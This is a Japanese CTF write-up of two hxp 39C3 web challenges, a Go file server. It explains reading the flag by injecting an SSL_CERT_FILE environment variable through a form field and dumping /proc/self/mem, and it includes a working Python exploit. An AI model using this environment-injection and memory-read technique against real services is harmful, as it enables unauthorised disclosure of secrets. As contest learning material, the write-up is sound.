12/28 - 12/30という日程で開催された。BunkyoWesternsで参加して14位。ASIS CTF Finals 2025が2025年に出る最後のCTFとなるはずだったが、急遽こちらにも参加して、これが2025年のCTF納めとなった。
ASIS CTF Finals 2025とhxp 39C3 CTFで獲得したrating pointsが反映されたことにより、CTFtime.org上でBunkyoWesternsは2025年に総合9位となった。日本チームがトップ10に入るのは5年ぶり、また2011-2012年のsutegoma2、2016-2020年のTokyoWesternsに続いて3チーム目ということで、嬉しい。

[Web 149] Dateiservierer (58 solves)
Herr Ober bitte servieren Sie mir die Dateien.
(問題サーバのURL)
添付ファイル: Dateiservierer-dad6129a6c0f0025.tar.xz
とりあえず問題サーバを触ってみる。アクセスすると、次のようなフォームが返ってくる。index.html のままで送信すると、普通のテキストファイルが返ってくる。/etc/passwd に変えてみると、ユーザの一覧が返ってくる。なるほど、色々ファイルが読めそう。

次のようなファイルが与えられている。
$ tree . . ├── Dockerfile ├── compose.yml ├── ds.go ├── flag.txt ├── frontend.go └── index.html 0 directories, 6 files
まずはフラグの在り処を把握する必要がある。flag.txt はどこへ行くのか。Dockerfile を確認すると、ルートディレクトリにあることがわかる。なるほど。
FROM golang WORKDIR / ADD frontend.go ds.go index.html flag.txt / RUN go build frontend.go && \ go build ds.go USER 1000 CMD while true; do sleep 1m; find /tmp -mindepth 1 -mmin '+10' -delete; done & \ /frontend
コードを読んでいこう。我々が直接アクセス可能な frontend.go はこんな感じ。ユーザからPOSTされると、その内容をそのまま ./ds というバイナリに環境変数経由で投げている。この ./ds はUNIXドメインソケットでレスポンスを返すらしく、ファイルの読み取りがリクエストされると、(ユーザに発行したセッションIDを利用しつつ)自らはプロキシとなる。環境変数を操作できるというのはヤバそう。
package main import ( "crypto/rand" "encoding/hex" "log" "net" "net/http" "net/http/httputil" "net/url" "os" "os/exec" "strings" "sync" "time" ) type unixDialer struct { net.Dialer } func (d *unixDialer) Dial(network, address string) (net.Conn, error) { return d.Dialer.Dial("unix", "/tmp/ds-"+strings.Split(address, ":")[0]+".socket") } var transport http.RoundTripper = &http.Transport{ Proxy: http.ProxyFromEnvironment, Dial: (&unixDialer{net.Dialer{Timeout: 5 * time.Second}}).Dial, } var backends sync.Map func NewDS(config []string) string { bytes := make([]byte, 32) if _, err := rand.Read(bytes); err != nil { return "" } session := hex.EncodeToString(bytes) config = append(config, "SESSION="+session) go func() { cmd := exec.Command("./ds") cmd.Env = append(os.Environ(), config...) cmd.Run() backends.Delete(session) }() url, err := url.Parse("http://" + session) if err != nil { return "" } proxy := httputil.NewSingleHostReverseProxy(url) proxy.Transport = transport backends.Store(session, proxy) return session } func main() { http.HandleFunc("POST /", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() fields := []string{} for key, value := range r.Form { fields = append(fields, key+"="+strings.Join(value, ",")) } cookie := &http.Cookie{Name: "session", Value: NewDS(fields), Path: "/", Expires: time.Now().Add(180 * time.Second)} http.SetCookie(w, cookie) time.Sleep(time.Second * 2) http.Redirect(w, r, "/", http.StatusFound) }) http.HandleFunc("GET /", func(w http.ResponseWriter, r *http.Request) { session := "" if cookie, err := r.Cookie("session"); err == nil { session = cookie.Value } proxy, ok := backends.Load(session) if !ok { w.Write([]byte(`<html><h1>Dateiservierer</h1> <label>Files</label> <button onclick="window.form.innerHTML = '<input name=files><br>' + window.form.innerHTML">➕</button> <form method=POST id=form> <input name=files value=index.html><br> <input type=submit value="Bitte servieren Sie"> </form> `)) return } proxy.(*httputil.ReverseProxy).ServeHTTP(w, r) }) srv := &http.Server{ ReadTimeout: 5 * time.Second, WriteTimeout: 5 * time.Second, IdleTimeout: 10 * time.Second, Handler: http.DefaultServeMux, Addr: ":1024", } log.Println(srv.ListenAndServe()) }
./ds の元となったファイルである ds.go を読んでいく。なるほど、ファイルを読んでますねえという感じ。面白い点として、読み込むファイルは files という環境変数で(つまりは frontend に投げられたパラメータから)指定されているわけだけれども、これはコンマ区切りで複数のファイルを指定できるようになっている。この問題の目的は /flag.txt を読むことだけれども、flag が禁止されているので、直接読み込むことはできない。
こいつは frontend 経由でアクセスできるWebサーバとして振る舞うわけだけれども、file と resume という2つのクエリパラメータを取る。前者は files の何番目のファイルを参照するかというインデックスを、後者はそのファイルの何バイト目から読み込むかを意味する。
面白いことに、こいつはファイルだけでなくWebサイトも読むことができる。http:// または https:// から始まる「ファイル」が指定された場合には、os.Open の代わりに http.Client を使ってリクエストを送信し、そのレスポンスを返す。
package main import ( "io" "net" "net/http" "os" "strconv" "strings" "time" ) var files = strings.Split(os.Getenv("files"), ",") var client = &http.Client{ Timeout: 5 * time.Second, } func fileHandler(w http.ResponseWriter, req *http.Request) { fileIndex, _ := strconv.Atoi(req.URL.Query().Get("file")) filePath := files[fileIndex%len(files)] if strings.Contains(filePath, "flag") { http.Error(w, "flag :(", http.StatusUnauthorized) return } var fd io.ReadSeekCloser if strings.HasPrefix(filePath, "http://") || strings.HasPrefix(filePath, "https://") { resp, err := client.Get(filePath) if err != nil { http.Error(w, "Get :(", http.StatusInternalServerError) return } defer resp.Body.Close() tempFile, err := os.CreateTemp("", "download") if err != nil { http.Error(w, "CreateTemp :(", http.StatusInternalServerError) return } defer os.Remove(tempFile.Name()) io.Copy(tempFile, io.LimitReader(resp.Body, 8*1024*1024)) fd = tempFile } else { file, err := os.Open(filePath) if err != nil { http.Error(w, "Open :(", http.StatusInternalServerError) return } fd = file } defer fd.Close() r, _ := strconv.ParseInt(req.URL.Query().Get("resume"), 10, 64) fd.Seek(r, io.SeekStart) io.Copy(w, io.LimitReader(fd, 8*1024*1024)) } func main() { time.AfterFunc(180*time.Second, func() { os.Exit(0) }) session, ok := os.LookupEnv("SESSION") if !ok { panic("SESSION env not set") } http.HandleFunc("GET /", fileHandler) unixListener, err := net.Listen("unix", "/tmp/ds-"+session+".socket") if err != nil { panic(err) } http.Serve(unixListener, nil) }
Goのバイナリで、ランタイムに参照されるマズい環境変数とはなんだろうと思う。そもそもどんな環境変数が参照されるか確認したい。標準ライブラリのコードをいじって、何が参照されているか出力するようにしてしまおう。
cp -pr $(go env GOROOT); export GOROOT=/tmp/tmpspace.3iXxOrpQ0z/go みたいな感じで標準ライブラリをコピーしてきて、それから src/os/env.go の os.Getenv と os.LookupEnv に次のようなコードを仕込んでしまう。
msg := "[DEBUG] Getenv: " + key + "\n" _, _ = syscall.Write(2, []byte(msg))
それから ds.go をビルドする。SESSION=poyo files=https://example.com ./ds しつつ curl --unix-socket /tmp/ds-poyo.socket "http://example.com?file=0" を実行する。HTTPリクエストを送っているから当然だけれども、色々参照してますねえ。
[DEBUG] Getenv: HTTP_PROXY [DEBUG] Getenv: http_proxy [DEBUG] Getenv: HTTPS_PROXY [DEBUG] Getenv: https_proxy [DEBUG] Getenv: NO_PROXY [DEBUG] Getenv: no_proxy [DEBUG] Getenv: REQUEST_METHOD [DEBUG] Getenv: RES_OPTIONS [DEBUG] Getenv: HOSTALIASES [DEBUG] Getenv: SSL_CERT_FILE [DEBUG] Getenv: SSL_CERT_DIR [DEBUG] Getenv: TMPDIR
SSL_CERT_FILE が怪しそうだと感じる。つまり、SSL_CERT_FILE=/flag.txt を指定して ./ds を実行することで、フラグがこのプロセスのメモリに乗るのではないかと考えた。それから /proc/self/maps でメモリマップを確認し、幸いにも我々は resume というクエリパラメータを使ってファイルのseekができるので、それですべて読んでしまえばよいのではないか。
実験してみる。先程の検証で使ったコマンドについて、./ds の実行時に SSL_CERT_FILE=/flag.txt も指定するようにして同じことをする。次のようなコードを実行して、メモリにフラグが乗っていないか確認する。あった!
import os import sys pid = int(sys.argv[1]) with open(f'/proc/{pid}/maps', 'r') as f: s = f.read() print(s) for line in s.splitlines(): parts = line.split() if 'r' not in parts[1]: continue start, end = parts[0].split('-') start = int(start, 16) end = int(end, 16) with open(f'/proc/{pid}/mem', 'rb') as ff: ff.seek(start) d = ff.read(end - start) if b'FLAG{DUMMY}' in d: print(parts)
何度か試してみたところ、常に c000000000-c000800000 にロードされているように思われた。違ったら違ったで /proc/self/maps のすべてを試せばよいだけなので、とりあえず決め打ちでやってみる。次のようなexploitを用意した。
import httpx with httpx.Client(base_url='(省略)') as client: client.post('/', data={ 'files': 'https://example.com,/proc/self/mem', 'SSL_CERT_FILE': '/flag.txt' }) client.get('/', params={ 'file': 0 }) r = client.get('/', params={ 'file': 1, 'resume': 0xc000000000 }) i = r.content.index(b'hxp{') print(r.content[i:r.content.index(b'}', i)+1])
実行するとフラグが得られた。
$ python3 s.py
b'hxp{\xf0\x9f\x8d\xba\xf0\x9f\x8d\xbb\xf0\x9f\x8d\xb9\xf0\x9f\x8d\xbe\xf0\x9f\x8d\xbces ist angerichtet ... go fetch it yourself\xf0\x9f\xa4\xa1\xf0\x9f\xa4\xb9\xf0\x9f\x8f\xbb\xe2\x80\x8d\xe2\x99\x82\xef\xb8\x8f\xf0\x9f\xa4\xb8\xf0\x9f\x8f\xbf\xe2\x80\x8d\xe2\x99\x80\xef\xb8\x8f.}'
hxp{🍺🍻🍹🍾🍼es ist angerichtet ... go fetch it yourself🤡🤹🏻♂️🤸🏿♀️.}
[Web 250] Dateiservierer2 (31 solves)
Herr Ober bitte servieren Sie mir die Dateien nocheinmal.
Use the flag for Dateiservierer as the decryption key for the download:
echo -n 'hxp{the_flag}' | openssl aes-256-cbc -pbkdf2 -iter 100000 -salt -d -pass stdin -in Dateiservierer2.tar.xz.enc -out Dateiservierer2.tar.xz(問題サーバのURL)
添付ファイル: Dateiservierer2-76bc8a2b708ef281.tar.xz.enc
Dateiserviererの続き。diffは次の通り。LD_PRELOAD や PATH といったヤバそうな環境変数を潰しているらしい。なるほど、それらを使ってRCEに持ち込むことができたのだろうか。
$ diff -ur . ../../../Dateiservierer2/Dateiservierer2/ diff -ur ./Dockerfile ../../../Dateiservierer2/Dateiservierer2/Dockerfile --- ./Dockerfile 1970-01-01 22:37:00.000000000 +0900 +++ ../../../Dateiservierer2/Dateiservierer2/Dockerfile 1970-01-01 22:37:00.000000000 +0900 @@ -3,10 +3,11 @@ WORKDIR / ADD frontend.go ds.go index.html flag.txt / RUN go build frontend.go && \ - go build ds.go + go build ds.go + +RUN chmod 444 /flag.txt USER 1000 CMD while true; do sleep 1m; find /tmp -mindepth 1 -mmin '+10' -delete; done & \ /frontend - diff -ur ./compose.yml ../../../Dateiservierer2/Dateiservierer2/compose.yml --- ./compose.yml 1970-01-01 22:37:00.000000000 +0900 +++ ../../../Dateiservierer2/Dateiservierer2/compose.yml 1970-01-01 22:37:00.000000000 +0900 @@ -6,4 +6,4 @@ dockerfile: Dockerfile restart: unless-stopped ports: - - 13372:1024 + - 13373:1024 diff -ur ./ds.go ../../../Dateiservierer2/Dateiservierer2/ds.go --- ./ds.go 2025-12-29 03:54:53.038101000 +0900 +++ ../../../Dateiservierer2/Dateiservierer2/ds.go 1970-01-01 22:37:00.000000000 +0900 @@ -1,6 +1,7 @@ package main import ( + "bytes" "io" "net" "net/http" @@ -41,7 +42,7 @@ return } defer os.Remove(tempFile.Name()) - io.Copy(tempFile, io.LimitReader(resp.Body, 8*1024*1024)) + io.Copy(tempFile, io.LimitReader(bytes.NewReader([]byte(":( ausverkauft")), 8*1024*1024)) fd = tempFile } else { diff -ur ./frontend.go ../../../Dateiservierer2/Dateiservierer2/frontend.go --- ./frontend.go 1970-01-01 22:37:00.000000000 +0900 +++ ../../../Dateiservierer2/Dateiservierer2/frontend.go 1970-01-01 22:37:00.000000000 +0900 @@ -38,9 +38,18 @@ session := hex.EncodeToString(bytes) config = append(config, "SESSION="+session) + filteredConfig := make([]string, 0) + for _, v := range config { + if strings.Contains(strings.ToUpper(v), "LD") || strings.Contains(strings.ToUpper(v), "HOME") || strings.Contains(strings.ToUpper(v), "PATH") || strings.Contains(strings.ToUpper(v), "DIR") || strings.Contains(strings.ToUpper(v), "TZ") { + continue + } + + filteredConfig = append(filteredConfig, v) + } + go func() { cmd := exec.Command("./ds") - cmd.Env = append(os.Environ(), config...) + cmd.Env = append(os.Environ(), filteredConfig...) cmd.Run() backends.Delete(session)
Dateiserviererで私が使った解法には影響しない。ソルバを使い回すとフラグが得られた。
hxp{🙅🏻♂️🙅🏻♂️🙅🏻♂️ Es wird gepwned was auf den Tisch kommt. 🥫🦖}